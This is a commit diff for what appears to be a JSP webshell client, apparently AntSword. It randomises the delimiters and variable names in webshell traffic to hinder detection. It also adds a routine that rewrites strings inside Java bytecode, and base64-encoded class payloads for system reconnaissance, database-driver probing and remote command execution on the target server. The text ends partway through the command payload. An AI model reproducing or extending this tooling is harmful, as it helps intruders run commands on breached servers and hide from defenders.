jsp shell 优化

* 随机数据分割&自定义数据分割符
* 随机单词变量名支持

source/core/base.js

@@ -30,7 +30,7 @@ class Base {
        * @param  {Object} data 请求数据
        * @return {Object}      生成数据
        */
-      default (pwd, data) {
+      default(pwd, data) {
         data[pwd] = data['_'];
         delete data['_'];
         return data;
@@ -78,7 +78,7 @@ class Base {
       if (priKey.length > 0) {
         key.importKey(priKey.toString(), 'private');
       }
-    } catch (e) {}
+    } catch (e) { }
     return key;
   }
 
@@ -155,6 +155,16 @@ class Base {
         }
         return randomString(randomPrefix) + Buffer.from(iconv.encode(Buffer.from(str), encode)).toString('base64');
       },
+      newb64buffer(str) {
+        let randomString = (length) => {
+          let chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
+          let result = '';
+          for (let i = length; i > 0; --i) result += chars[Math.floor(Math.random() * chars.length)];
+          return result;
+        }
+        let buff = Buffer.from(str).toString('hex').toUpperCase();
+        return randomString(randomPrefix) + Buffer.from(iconv.encode(Buffer.from(buff), encode)).toString('base64');
+      },
       /**
        * 字符串转16进制（不进行编码转换
        * @param  {String} str 转换的字符串

source/core/jsp/encoder/base64.js

-//
-// jsp::base64 编码模块
-//
-// :把除了密码跟api的其他参数都base64编码一次
-//
-
-'use strict';
-
-module.exports = (pwd, data, ext = null) => {
-  let ret = {};
-  for (let _ in data) {
-    if (_ === '_') {
-      continue
-    };
-    ret[_] = Buffer
-      .from(data[_])
-      .toString('base64');
-  }
-  if (ext.opts['encode'] != "UTF8") {
-    ret['charset'] = ext.opts['encode'];
-  }
-  if (ext.opts['encoder'] != "default") {
-    ret['encoder'] = ext.opts['encoder'];
-  }
-  if (ext.opts['decoder'] != "default") {
-    ret['decoder'] = ext.opts['decoder'];
-  }
-  ret[pwd] = data['_'];
-  return ret;
-}
\ No newline at end of file

source/core/jsp/encoder/hex.js

-//
-// 16进制编码模块
-//
-
-'use strict';
-
-module.exports = (pwd, data, ext = null) => {
-  let ret = {};
-  for (let _ in data) {
-    if (_ === '_') {
-      continue
-    };
-    ret[_] = Buffer
-      .from(data[_])
-      .toString('hex');
-  }
-  if (ext.opts['encode'] != "UTF8") {
-    ret['charset'] = ext.opts['encode'];
-  }
-  if (ext.opts['encoder'] != "default") {
-    ret['encoder'] = ext.opts['encoder'];
-  }
-  if (ext.opts['decoder'] != "default") {
-    ret['decoder'] = ext.opts['decoder'];
-  }
-  ret[pwd] = data['_'];
-  return ret;
-}
\ No newline at end of file

source/core/jsp/index.js

@@ -19,7 +19,7 @@ class JSP extends Base {
       'database/mysql',
       'database/oracle'
     ].map((_) => {
-      this.parseTemplate(`./jsp/template/${_}`);
+      this.parseJspTemplate(`./template/${_}`);
     });
     // 解析编码器
     this
@@ -39,7 +39,7 @@ class JSP extends Base {
    * @return {array} 编码器列表
    */
   get encoders() {
-    return ['base64','hex'];
+    return [];
   }
 
   get decoders() {
@@ -57,16 +57,107 @@ class JSP extends Base {
     if (this.__opts__['otherConf'].hasOwnProperty('use-custom-datatag') && this.__opts__['otherConf']['use-custom-datatag'] == 1 && this.__opts__['otherConf']['custom-datatag-tags']) {
       tag_s = this.__opts__['otherConf']['custom-datatag-tags'];
     } else {
-      tag_s = "->|";
+      tag_s = Math.random().toString(16).substr(2, parseInt(Math.random() * 8 + 5)); // "->|";
     }
     if (this.__opts__['otherConf'].hasOwnProperty('use-custom-datatag') && this.__opts__['otherConf']['use-custom-datatag'] == 1 && this.__opts__['otherConf']['custom-datatag-tage']) {
       tag_e = this.__opts__['otherConf']['custom-datatag-tage'];
     } else {
-      tag_e = "|<-";
+      tag_e = Math.random().toString(16).substr(2, parseInt(Math.random() * 8 + 5)); // "|<-";
     }
+    data['_'] = this.replaceClassStringVar(data['_'], '->|', tag_s);
+    data['_'] = this.replaceClassStringVar(data['_'], '|<-', tag_e);
     // 使用编码器进行处理并返回
     return this.encodeComplete(tag_s, tag_e, data);
   }
+
+  /**
+   * JSP 脚本解析模版
+   * @param   {String} tpl  模版文件
+   * @returns {Object}      解析完毕的模板对象（参数`_`为主代码入口
+   */
+  parseJspTemplate(tpl) {
+    // 把模板路径的`/`转换为`_`
+    let templateName = (tpl.split('template/')[1]).replace(/\//g, '_');
+    this[templateName] = {};
+    // 加载模板
+    let _argv = this.argv();
+    let templateObj = require(`${tpl}`)(_argv[0], _argv[1], _argv[2], _argv[3], _argv[4], _argv[5]);
+    let formatter = Base
+      .prototype
+      .format(this.__opts__);
+    // 解析模板
+    for (let funcName in templateObj) {
+      this[templateName][funcName] = ((args) => {
+        if (typeof (args) === 'object') {
+          // 如果脚本函数需要参数，则进行解析
+          return (argv) => {
+            let data = {};
+            // 克隆源数据到返回数据中
+            for (let _ in args) {
+              data[_] = args[_];
+            }
+            // 循环替换脚本中的标签
+            for (let arg in args) {
+              (args[arg].match(/#{([\w\:]+)}/g) || []).map(
+                // example: #{hex::str} = hex(str), #{arg1} = arg1
+                (tag) => {
+                  let tagStr = tag.substr(2, tag.length - 3);
+                  let tagArr = tagStr.split('::');
+                  let func, retStr;
+                  console.log(formatter);
+                  if ((tagArr.length > 0) && (func = formatter[tagArr[0]])) {
+                    // 如果包含有分割标签且该格式化函数存在，则调用该函数进行处理
+                    retStr = func(argv[tagArr[1] || '']);
+                    data['_'] = this.replaceClassStringVar(data['_'], `antswordarg${tagArr[1]}`, arg);
+                  } else {
+                    // 否则替换直接返回字符串
+                    retStr = argv[tagStr] || '';
+                    data['_'] = this.replaceClassStringVar(data['_'], `antswordarg${tagStr}`, arg);
+                  }
+                  // 组合最终生成模板代码
+                  data[arg] = data[arg].replace(tag, retStr);
+                });
+            }
+            // 发送HTTP请求
+            data['_'] = this.replaceClassStringVar(data['_'], 'antswordCharset', this.__opts__["encode"]);
+            data['_'] = this.replaceClassStringVar(data['_'], 'antswordrandomPrefix', this.__opts__.otherConf["random-Prefix"]);
+            return data;
+          }
+        } else {
+          // 否则直接返回
+          return () => ({
+            _: args
+          });
+        }
+      })(templateObj[funcName]);
+    }
+  }
+
+  /**
+   * 字节码String类型内容替换
+   * 
+   */
+  replaceClassStringVar(b64code, oldvar, newvar) {
+    let code = Buffer.from(b64code, 'base64');
+    let hexcode = code.toString('hex');
+    let hexoldvar = Buffer.from(oldvar).toString('hex');
+    let oldpos = hexcode.indexOf(hexoldvar);
+    if (oldpos > -1) {
+      let newlength = this.decimalToHex(newvar.length, 4);
+      let retcode = `${hexcode.slice(0, oldpos - 4)}${newlength}${Buffer.from(newvar).toString('hex')}${hexcode.slice(oldpos + hexoldvar.length)}`;
+      return Buffer.from(retcode, 'hex').toString('base64');
+    }
+    return b64code;
+  }
+
+  decimalToHex(d, padding) {
+    var hex = Number(d).toString(16);
+    padding = typeof (padding) === "undefined" || padding === null ? padding = 2 : padding;
+    while (hex.length < padding) {
+      hex = "0" + hex;
+    }
+    return hex;
+  }
 }
 
 module.exports = JSP;
\ No newline at end of file

source/core/jsp/template/base.js

@@ -4,6 +4,8 @@
 //
 
 module.exports = () => ({
-  info: 'yv66vgAAADIAtQoANgBNBwBOCgACAE8KAAIAUAgAUQsAUgBTCABUBwBVCABWCgAIAFcIAFgLAFkAWgsAUgBbCwBZAFsIAFwKAAgAXQcAXgoANQBfCgAIAGAIAGEKAAIAYgoAYwBkBwBlBwBmCgAYAE0IAGcKABgAaAoAFwBgCgAYAGALABEAaQsAagBrCABsCwBtAG4KADYAbwoAcABxCgByAHMHAHQKACUAVwoAJQB1CgB2AHcKAHYAeAoAdgB5CgB2AHoIAHsKAHwAfQgAfgoANQB/CACACgB2AIEKAHYAggoAJQCDCgAlAGAHAEYHAIQBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcATgcAhQcAhgcAhwcARgcAhAcAVQcAZQEAC1N5c0luZm9Db2RlAQA7KExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OylMamF2YS9sYW5nL1N0cmluZzsBAA9Xd3dSb290UGF0aENvZGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwcAiAEAClNvdXJjZUZpbGUBABBTeXNJbmZvQ29kZS5qYXZhDAA3ADgBAB1qYXZheC9zZXJ2bGV0L2pzcC9QYWdlQ29udGV4dAwAiQCKDACLAIwBAAdjaGFyc2V0BwCFDACNAEkBAAVVVEYtOAEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIBAAAMADcAjgEACXRleHQvaHRtbAcAhgwAjwCODACQAI4BAAMtPnwMAJEAkgEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QMAEYARwwAkwCUAQADfDwtDACVAJYHAJcMAJgAjgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEACUVSUk9SOi8vIAwAkQCZDACaAJsHAJwMAJ0AngEAAS8HAJ8MAKAASQwAoQCiBwCjDACkAKUHAKYMAKcAlAEADGphdmEvaW8vRmlsZQwAqACUBwCHDACpAKoMAKsArAwArQCUDACuAK8BAAdvcy5uYW1lBwCwDACxAEkBAAl1c2VyLm5hbWUMAEgASQEAAQkMAK4AsgwAOwA8DACzALQBABBqYXZhL2xhbmcvT2JqZWN0AQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQAQamF2YS9sYW5nL1N0cmluZwEAD1tMamF2YS9pby9GaWxlOwEACmdldFJlcXVlc3QBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAC2dldFJlc3BvbnNlAQAhKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAMZ2V0UGFyYW1ldGVyAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAOc2V0Q29udGVudFR5cGUBABRzZXRDaGFyYWN0ZXJFbmNvZGluZwEABmFwcGVuZAEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmdldE91dAEAHygpTGphdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcjsBABtqYXZheC9zZXJ2bGV0L2pzcC9Kc3BXcml0ZXIBAAVwcmludAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACmdldFNlc3Npb24BACIoKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb247AQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQARZ2V0U2VydmxldENvbnRleHQBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRDb250ZXh0OwEAHGphdmF4L3NlcnZsZXQvU2VydmxldENvbnRleHQBAAtnZXRSZWFsUGF0aAEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAD2phdmEvbGFuZy9DbGFzcwEAC2dldFJlc291cmNlAQAiKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9uZXQvVVJMOwEADGphdmEvbmV0L1VSTAEAB2dldFBhdGgBAAlnZXRQYXJlbnQBAAZjaGFyQXQBAAQoSSlDAQAHdmFsdWVPZgEAFShDKUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvVXBwZXJDYXNlAQAJc3Vic3RyaW5nAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7AQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQAWKElJKUxqYXZhL2xhbmcvU3RyaW5nOwEACWxpc3RSb290cwEAESgpW0xqYXZhL2lvL0ZpbGU7ACEANQA2AAAAAAAEAAEANwA4AAEAOQAAAB0AAQABAAAABSq3AAGxAAAAAQA6AAAABgABAAAABwABADsAPAABADkAAAFSAAMACQAAALMrwAACTSy2AANOLLYABDoELRIFuQAGAgDGAA4tEgW5AAYCAKcABRIHOgW7AAhZEgm3AAo6BrsACFkSCbcACjoHGQQSC7kADAIALRkFuQANAgAZBBkFuQAOAgAZBhIPtgAQVxkHKi3AABG2ABK2ABBXGQYZB7YAE7YAEFcZBhIUtgAQVyy2ABUZBrYAE7YAFqcAIjoIGQe7ABhZtwAZEhq2ABsZCLYAHLYAG7YAHbYAEFcErAABAEAAjwCSABcAAgA6AAAASgASAAAACgAFAAsACgAMABAADQAqAA4ANQAPAEAAEQBJABIAUQATAFoAFABiABUAcAAWAHsAFwCDABgAjwAbAJIAGQCUABoAsQAcAD0AAAA1AAT+ACYHAD4HAD8HAEBBBwBB/wBpAAgHAEIHAEMHAD4HAD8HAEAHAEEHAEQHAEQAAQcARR4AAABGAEcAAQA5AAABLwADAAYAAADHEglNK7kAHgEAuQAfAQASILkAIQIAxgAZK7kAHgEAuQAfAQASILkAIQIATacAHCq2ACISILYAI7YAJE67ACVZLbcAJrYAJ02nAB9OKrYAIhIgtgAjtgAkOgS7ACVZGQS3ACa2ACdNuwAYWbcAGSwDtgAouAAptgAqtgAbLAS2ACu2ABu2AB1NEiy4AC1OEi64AC06BCostgAvOgW7ABhZtwAZLLYAGxIwtgAbGQW2ABsSMLYAGy22ABsSMLYAGxkEtgAbtgAdsAABAAMARwBKABcAAgA6AAAAOgAOAAAAIAADACIAGAAjAC4AJQA7ACYARwArAEoAKABLACkAWQAqAGYALACHAC0AjQAuAJQALwCbADAAPQAAAA4ABPwALgcAQRhCBwBFGwAAAEgASQABADkAAACwAAQABQAAAGESCU0rAwS2ADESILYAMpoAPbgAM04DNgQVBC2+ogAsuwAYWbcAGSy2ABstFQQytgA0AwW2ADG2ABsSCbYAG7YAHU2EBAGn/9OnABe7ABhZtwAZLLYAGxIgtgAbtgAdTSywAAAAAgA6AAAAJgAJAAAAMwADADQAEQA1ABUANgAfADcAQgA2AEgAOQBLADoAXwA8AD0AAAARAAT+ABgHAEEHAEoB+QAvAhMAAQBLAAAAAgBM',
-  probedb: 'Z', // 检测数据库函数支持
+  info: 'yv66vgAAADMAtAoANgBLBwBMCgACAE0KAAIATggATwsAUABRCABSBwBTCABUCgAIAFUIAFYIAFcIAFgLAFkAWgsAUABbCwBZAFsKAAgAXAcAXQoANQBeCgAIAF8KAAIAYAoAYQBiBwBjBwBkCgAYAEsIAGUKABgAZgoAFwBfCgAYAF8LABIAZwsAaABpCABqCwBrAGwKADYAbQoAbgBvCgBwAHEHAHIKACUAVQoAJQBzCgB0AHUKAHQAdgoAdAB3CgB0AHgIAHkKAHoAewgAfAoANQB9CAB+CgB0AH8KAHQAgAoAJQCBCgAlAF8HAIIHAIMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcATAcAhAcAhQcAhgcAggcAgwcAhgcAUwcAYwEAC1N5c0luZm9Db2RlAQA7KExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OylMamF2YS9sYW5nL1N0cmluZzsBAA9Xd3dSb290UGF0aENvZGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwcAhwwANwA4AQAdamF2YXgvc2VydmxldC9qc3AvUGFnZUNvbnRleHQMAIgAiQwAigCLAQAHY2hhcnNldAcAhAwAjABJAQAFVVRGLTgBABZqYXZhL2xhbmcvU3RyaW5nQnVmZmVyAQAADAA3AI0BAAMtPnwBAAN8PC0BAAl0ZXh0L2h0bWwHAIUMAI4AjQwAjwCNDACQAJEBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0DABGAEcMAJIAkwwAlACVBwCWDACXAI0BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIBAAlFUlJPUjovLyAMAJAAmAwAmQCaBwCbDACcAJ0BAAEvBwCeDACfAEkMAKAAoQcAogwAowCkBwClDACmAJMBAAxqYXZhL2lvL0ZpbGUMAKcAkwcAhgwAqACpDACqAKsMAKwAkwwArQCuAQAHb3MubmFtZQcArwwAsABJAQAJdXNlci5uYW1lDABIAEkBAAEJDACtALEMADoAOwwAsgCzAQAESW5mbwEAEGphdmEvbGFuZy9PYmplY3QBABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBABBqYXZhL2xhbmcvU3RyaW5nAQAPW0xqYXZhL2lvL0ZpbGU7AQAKZ2V0UmVxdWVzdAEAICgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQALZ2V0UmVzcG9uc2UBACEoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAxnZXRQYXJhbWV0ZXIBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA5zZXRDb250ZW50VHlwZQEAFHNldENoYXJhY3RlckVuY29kaW5nAQAGYXBwZW5kAQAsKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAGZ2V0T3V0AQAfKClMamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyOwEAG2phdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcgEABXByaW50AQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAKZ2V0U2Vzc2lvbgEAIigpTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsBAB5qYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb24BABFnZXRTZXJ2bGV0Q29udGV4dAEAICgpTGphdmF4L3NlcnZsZXQvU2VydmxldENvbnRleHQ7AQAcamF2YXgvc2VydmxldC9TZXJ2bGV0Q29udGV4dAEAC2dldFJlYWxQYXRoAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAPamF2YS9sYW5nL0NsYXNzAQALZ2V0UmVzb3VyY2UBACIoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL25ldC9VUkw7AQAMamF2YS9uZXQvVVJMAQAHZ2V0UGF0aAEACWdldFBhcmVudAEABmNoYXJBdAEABChJKUMBAAd2YWx1ZU9mAQAVKEMpTGphdmEvbGFuZy9TdHJpbmc7AQALdG9VcHBlckNhc2UBAAlzdWJzdHJpbmcBABUoSSlMamF2YS9sYW5nL1N0cmluZzsBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBABYoSUkpTGphdmEvbGFuZy9TdHJpbmc7AQAJbGlzdFJvb3RzAQARKClbTGphdmEvaW8vRmlsZTsAIQA1ADYAAAAAAAQAAQA3ADgAAQA5AAAAEQABAAEAAAAFKrcAAbEAAAAAAAEAOgA7AAEAOQAAARAAAwALAAAAuyvAAAJNLLYAA04stgAEOgQtEgW5AAYCAMYADi0SBbkABgIApwAFEgc6BbsACFkSCbcACjoGuwAIWRIJtwAKOgcSCzoIEgw6CRkEEg25AA4CAC0ZBbkADwIAGQQZBbkAEAIAGQYZCLYAEVcZByotwAAStgATtgARVxkGGQe2ABS2ABFXGQYZCbYAEVcstgAVGQa2ABS2ABanACI6ChkHuwAYWbcAGRIatgAbGQq2ABy2ABu2AB22ABFXBKwAAQBIAJcAmgAXAAEAPAAAADsABP4AJgcAPQcAPgcAP0EHAED/AHEACgcAQQcAQgcAPQcAPgcAPwcAQwcARAcARAcAQwcAQwABBwBFHgAAAEYARwABADkAAADvAAMABgAAAMcSCU0ruQAeAQC5AB8BABIguQAhAgDGABkruQAeAQC5AB8BABIguQAhAgBNpwAcKrYAIhIgtgAjtgAkTrsAJVkttwAmtgAnTacAH04qtgAiEiC2ACO2ACQ6BLsAJVkZBLcAJrYAJ027ABhZtwAZLAO2ACi4ACm2ACq2ABssBLYAK7YAG7YAHU0SLLgALU4SLrgALToEKiy2AC86BbsAGFm3ABkstgAbEjC2ABsZBbYAGxIwtgAbLbYAGxIwtgAbGQS2ABu2AB2wAAEAAwBHAEoAFwABADwAAAAOAAT8AC4HAEMYQgcARRsAAABIAEkAAQA5AAAAhAAEAAUAAABhEglNKwMEtgAxEiC2ADKaAD24ADNOAzYEFQQtvqIALLsAGFm3ABkstgAbLRUEMrYANAMFtgAxtgAbEgm2ABu2AB1NhAQBp//TpwAXuwAYWbcAGSy2ABsSILYAG7YAHU0ssAAAAAEAPAAAABEABP4AGAcAQwcASgH5AC8CEwAA',
+  // 检测数据库函数支持
+  probedb: 'yv66vgAAADMAfwoAKgA9BwA+CgACAD8KAAIAQAgAQQsAQgBDCABEBwBFCABGCgAIAEcIAEgIAEkIAEoLAEsATAsAQgBNCwBLAE0KAAgATgcATwoAKQBQCgAIAFEKAAIAUgoAUwBUBwBVBwBWCgAYAD0IAFcKABgAWAoAFwBRCgAYAFEHAFkIAFoIAFsIAFwIAF0IAF4IAF8IAGAKAGEAYggAYwgAZAcAZQcAZgEABjxpbml0PgEAAygpVgEABENvZGUBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAA1TdGFja01hcFRhYmxlBwA+BwBnBwBoBwBZBwBlBwBmBwBZBwBFBwBVAQALUHJvYmVkYkNvZGUBADsoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwcAaQwAKwAsAQAdamF2YXgvc2VydmxldC9qc3AvUGFnZUNvbnRleHQMAGoAawwAbABtAQAHY2hhcnNldAcAZwwAbgBvAQAFVVRGLTgBABZqYXZhL2xhbmcvU3RyaW5nQnVmZmVyAQAADAArAHABAAMtPnwBAAN8PC0BAAl0ZXh0L2h0bWwHAGgMAHEAcAwAcgBwDABzAHQBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0DAA6ADsMAHUAdgwAdwB4BwB5DAB6AHABABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIBAAlFUlJPUjovLyAMAHMAewEAEGphdmEvbGFuZy9TdHJpbmcBABVjb20ubXlzcWwuamRiYy5Ecml2ZXIBABhjb20ubXlzcWwuY2ouamRiYy5Ecml2ZXIBAB9vcmFjbGUuamRiYy5kcml2ZXIuT3JhY2xlRHJpdmVyAQAVb3JnLnBvc3RncmVzcWwuRHJpdmVyAQAhd2VibG9naWMuamRiYy5tc3NxbHNlcnZlcjQuRHJpdmVyAQAsY29tLm1pY3Jvc29mdC5zcWxzZXJ2ZXIuamRiYy5TUUxTZXJ2ZXJEcml2ZXIBABhjb20uaW5ldC5wb29sLlBvb2xEcml2ZXIHAHwMAH0AfgEAAwkxCgEAAwkwCgEAB1Byb2JlZGIBABBqYXZhL2xhbmcvT2JqZWN0AQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEACmdldFJlcXVlc3QBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAC2dldFJlc3BvbnNlAQAhKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA5zZXRDb250ZW50VHlwZQEAFHNldENoYXJhY3RlckVuY29kaW5nAQAGYXBwZW5kAQAsKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAGZ2V0T3V0AQAfKClMamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyOwEAG2phdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcgEABXByaW50AQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAPamF2YS9sYW5nL0NsYXNzAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsAIQApACoAAAAAAAMAAQArACwAAQAtAAAAEQABAAEAAAAFKrcAAbEAAAAAAAEALgAvAAEALQAAARAAAwALAAAAuyvAAAJNLLYAA04stgAEOgQtEgW5AAYCAMYADi0SBbkABgIApwAFEgc6BbsACFkSCbcACjoGuwAIWRIJtwAKOgcSCzoIEgw6CRkEEg25AA4CAC0ZBbkADwIAGQQZBbkAEAIAGQYZCLYAEVcZByotwAAStgATtgARVxkGGQe2ABS2ABFXGQYZCbYAEVcstgAVGQa2ABS2ABanACI6ChkHuwAYWbcAGRIatgAbGQq2ABy2ABu2AB22ABFXBKwAAQBIAJcAmgAXAAEAMAAAADsABP4AJgcAMQcAMgcAM0EHADT/AHEACgcANQcANgcAMQcAMgcAMwcANwcAOAcAOAcANwcANwABBwA5HgAAADoAOwABAC0AAACwAAQABgAAAIIQB70AHlkDEh9TWQQSIFNZBRIhU1kGEiJTWQcSI1NZCBIkU1kQBhIlU00SCU4DNgQVBCy+ogBMLBUEMrgAJle7ABhZtwAZLbYAGywVBDK2ABsSJ7YAG7YAHU6nACA6BbsAGFm3ABkttgAbLBUEMrYAGxIotgAbtgAdToQEAaf/sy2wAAEANwBaAF0AFwABADAAAAAUAAT+ADAHADwHADcBbAcAORz6AAUAAA==',
 })
+  

source/core/jsp/template/command.js

@@ -2,14 +2,15 @@
 // 命令执行模板
 //
 
-module.exports = () => ({
+module.exports = (arg1, arg2, arg3) => ({
   exec: {
-    _: 'yv66vgAAADIA7goATABrBwBsCgACAG0KAAIAbggAbwsAcABxCAByCABzCAB0BwB1CgAKAHYIAHcLAHgAeQsAcAB6CwB4AHoHAHsKABAAawgAfAoAEAB9CgAQAH4KAEsAfwoASwCACACBCACCCgAKAIMKAEsAhAoACgB+CACFCgACAIYKAIcAiAcAiQgAigoAHwB+CACLCgAkAIwHAI0KACQAjgoAJACPCACQCACRCgAkAJIHAJMKACQAlAoAKgCVCgAkAJYKACQAlwoAEACYCACZCgAqAJoKACoAmwgAnAcAnQoANABrCgA0AJ4KAEsAnwgAoAgAoQoAogCjCgCiAKQKAKUApgoASwCnCgClAKgIAKkKAKoAqwoAJACsCACtCgAkAK4HAK8HALAKAEUAsQoARACyCgBEALMIALQKAEQAtQcAYQcAtgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAA1TdGFja01hcFRhYmxlBwBsBwC3BwC4BwCNBwBhBwC2BwB1BwCJAQACRUMBAEooTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEACkV4Y2VwdGlvbnMBAAZkZWNvZGUHAJMBABJFeGVjdXRlQ29tbWFuZENvZGUHALkBAAVpc1dpbgEAAygpWgEAD0NvcHlJbnB1dFN0cmVhbQEAQihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjtMamF2YS9sYW5nL1N0cmluZzspVgcArwcAugEAClNvdXJjZUZpbGUBABdFeGVjdXRlQ29tbWFuZENvZGUuamF2YQwATQBOAQAdamF2YXgvc2VydmxldC9qc3AvUGFnZUNvbnRleHQMALsAvAwAvQC+AQAHZW5jb2RlcgcAtwwAvwDAAQAAAQAHY2hhcnNldAEABVVURi04AQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgwATQDBAQAJdGV4dC9odG1sBwC4DADCAMEMAMMAwQEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAEdmFyMQwAxADFDADGAMcMAF8AXQwAXABdAQAEdmFyMgEAAy0+fAwAxADIDABhAF0BAAN8PC0MAMkAygcAywwAzADBAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEACUVSUk9SOi8vIAEAA2hleAwAUQBSAQAQamF2YS9sYW5nL1N0cmluZwwAzQDODABNAM8BAARudWxsAQAQMDEyMzQ1Njc4OUFCQ0RFRgwA0ADHAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MANEA0gwATQDTDADUANUMANYA1wwAxADYAQABLAwA2QDTDADGAMABAAZiYXNlNjQBABZzdW4vbWlzYy9CQVNFNjREZWNvZGVyDADaANsMAGMAZAEAAi1jAQACL2MHANwMAN0A3gwA3wDgBwDhDADiAOMMAGUAZgwA5ADjAQAHb3MubmFtZQcA5QwA5gDADADnAMcBAAN3aW4MAOgA6QEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyDABNAOoMAE0A6wwA7ADHAQACDQoMAO0ATgEAEGphdmEvbGFuZy9PYmplY3QBABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBABNbTGphdmEvbGFuZy9TdHJpbmc7AQATamF2